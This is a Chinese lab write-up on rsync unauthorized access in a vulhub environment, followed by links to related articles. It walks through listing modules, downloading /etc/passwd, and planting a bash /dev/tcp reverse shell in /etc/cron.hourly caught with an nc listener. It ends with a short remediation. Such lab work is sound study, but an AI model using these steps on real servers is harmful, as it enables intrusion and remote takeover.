1.漏洞名称

Rsync 未授权访问漏洞

2.漏洞原理

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。 其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。

3.漏洞利用

vulhub环境靶机 : 192.168.91.130

攻击机:kali 192.168.91.128

一、环境搭建

vulhub环境搭建

​ 在纯净ubuntu中部署vulhub环境:

​ 1、安装docker,并用docker -v命令验证安装结果;
​ curl -s https://get.docker.com/ | sh

​ 2、安装python-pip,并用pip -V命令验证安装结果;
sudo apt-get install python-pip

​ 3、安装docker-compose,并用docker-compose -v验证安装结果
​ pip install docker-compose

​ 4、将vulhub解压至ubuntu一个路径下:/vulhub-master/
​ 5、进入到相应的漏洞下,docker-compose up -d命令启动容器,使用docker-compose down命令关闭容器。
cd /vulhub-master/rsync/common
sudo docker-compose build //建立

sudo docker-compose up

二、Rsync非授权访问

可以对目标服务器进行扫描:

nmap -p 873 192.168.91.130

扫描结果:



Rsync非授权访问利用

查看模块名列表:

rsync rsync://192.168.91.130:873/

查看src模块

rsync rsync://192.168.91.130:873/src

结果如下:



可以看到目标机器的目录已经被列举出来了:

利用方法

下载文件

rsync -av rsync://192.168.91.130/src/etc/passwd /root/passwd.txt

执行结果:



上传文件反弹shell

查看crontab配置文件:

rsync rsync://192.168.91.130/src/etc/crontab

下载crontab配置文件:

rsync -av rsync://192.168.91.130/src/etc/crontab /root/crontab.txt

查看其内容:



其中

17 * * * * root cd / && run-parts --report /etc/cron.hourly

表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令

shell 写法如下:

#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1

赋予执行权限:

chmod +x shell

将shell上传至/etc/cron.hourly

rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly

本地监听:

nc -nvv -lp 4444

实验可以自己去修改/etc/crontab配置文件

查看docker容器 ID

docker ps



进入docker

sudo docker exec -it a6cb5e784225 bash



打开/etc/crontab配置文件(vim自己安装。。)

vim /etc/crontab

把时间修改成自己想要的就好



等待时间的到来即可。成功反弹shell

4.漏洞修复

vim /etc/rsync.conf

写入以下代码

hosts allow xxx.xxx.xxx.xxx
auth users = rsync
secrets file = /etc/rsyncd.passwd

新建一个文件

vim /etc/rsyncd.passwd

按一下格式写入能登陆的用户名和密码

username :password

就ok

Rsync未授权访问的更多相关文章

  1. Rsync未授权访问漏洞的利用和防御

    首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...

  2. (四)rsync未授权访问

    01 漏洞描述 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问rsync,上传 ...

  3. rsync未授权访问漏洞复现

    rsync未授权访问漏洞简介 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问r ...

  4. 【Vulhub】Rsync未授权访问漏洞复现

    Rsync未授权访问 Rsync简介 rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限.时间.软硬链接等附加信息 ...

  5. rsync未授权访问漏洞利用

    漏洞描述:rsync是Linux系统下的数据镜像备份工具,使用快速增量备份工具Remote Sync可以远程同步,支持本地复制,或者与其他ssh,rsync主机同步.也就是说如果你可以连接目标IP的r ...

  6. Rsync未授权访问漏洞的修复

    转自:https://www.cnblogs.com/KevinGeorge/p/9648028.html 配置文件/etc/rsync.conf解析: motd file -> motd文件位 ...

  7. rsync 未授权访问漏洞

    rsync rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限.时间.软硬链接等附加信息. rsync是用 &qu ...

  8. mongodb未授权访问漏洞

    catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...

  9. Redis未授权访问漏洞分析

    catalog . Redis简介 . 漏洞概述 . 漏洞利用方式 . 修复方式 1. Redis简介 Relevant Link: http://www.cnblogs.com/LittleHann ...

随机推荐

  1. Solution -「CF 1380F」Strange Addition

    \(\mathcal{Description}\)   Link.   定义两个数在进行加法时,进位单独作为一位.例如: .   给定一个 \(n\) 为数和 \(m\) 次修改操作,每次修改会修改 ...

  2. 使用MyBatis拦截器后,摸鱼时间又长了。🐟

    场景 在后端服务开发时,现在很流行的框架组合就是SSM(SpringBoot + Spring + MyBatis),在我们进行一些业务系统开发时,会有很多的业务数据表,而表中的信息从新插入开始,整个 ...

  3. Python中模块import的使用案例

    1 import test # 导入test模块 2 3 print(test.a) # 使用"模块.变量"调用模块中的变量 4 5 test.hi() # 使用"模块. ...

  4. java运行原理、静态代理和动态代理区分

    1.java的编译和运行原理: ■ 编译:将源文件 .java 文件,通过编译器(javac 命令) 编译成 字节码文件 .class 文件. ■ 运行,通过类加载器(以二进制流形式)把字节码加载进J ...

  5. 轩辕展览-为什么要做VR虚拟展厅设计?

    沉浸感,有趣和互动体验VR虚拟展厅设计给客户带来高度的沉浸感和互动体验,给客户一种真实的感觉,让客户更愿意参与,使商家的宣传更加客观. 展示方式多样化 ,增加宣传优势在展示产品或企业时,VR全景可达到 ...

  6. 提名者周训,misc消失的文件

    下载附件是一个没有后缀的文件,一般这种东西,根据我这个菜狗的经验,直接就是丢进kali的binwalk一顿操作,最后果不其然,是发现了东西的 这里面可以看到一个小细节,就是在binwalk进行分离的时 ...

  7. 你真的会做数据分析吗?如果不会我推荐思迈特软件Smartbi

    你是否还在被以下问题所困扰? 辛苦辛苦地拿到了一堆数据,却不知道从何下手分析? 因为不会统计数据分析伤透脑筋,而打消考博的梦想? 数据分析求助无门,涌现出想要放弃学位的念头? 突然开天眼般的想到了一个 ...

  8. 【vs2019 】调试技巧

    在这篇文章中,我们假定读者了解VS基本的调试知识,如: F5 开始使用调试器运行程序 F9 在当前行设置断点 F10 运行到下一个断点处 F5 从被调试的已停止程序恢复执行 F11 步进到函数内(如果 ...

  9. Oracle之单行函数(字符串函数/数字函数/转换函数/日期函数/通用函数)

    虚拟表DUAL介绍: dual是一张虚拟表,只有一行一列,用来构成select的语法规则. Oracle的查询中,必须使用"select 列- from 表"的完整语法,当查询单行 ...

  10. Oracle之SQL限定查询

    WHERE限定条件 /*语法结构:SELECT * | 列名1[,列名2...] | 表达式FROM 表名 WHERE 限定条件; */ --查询职位为CLERK的员工信息 SELECT * FROM ...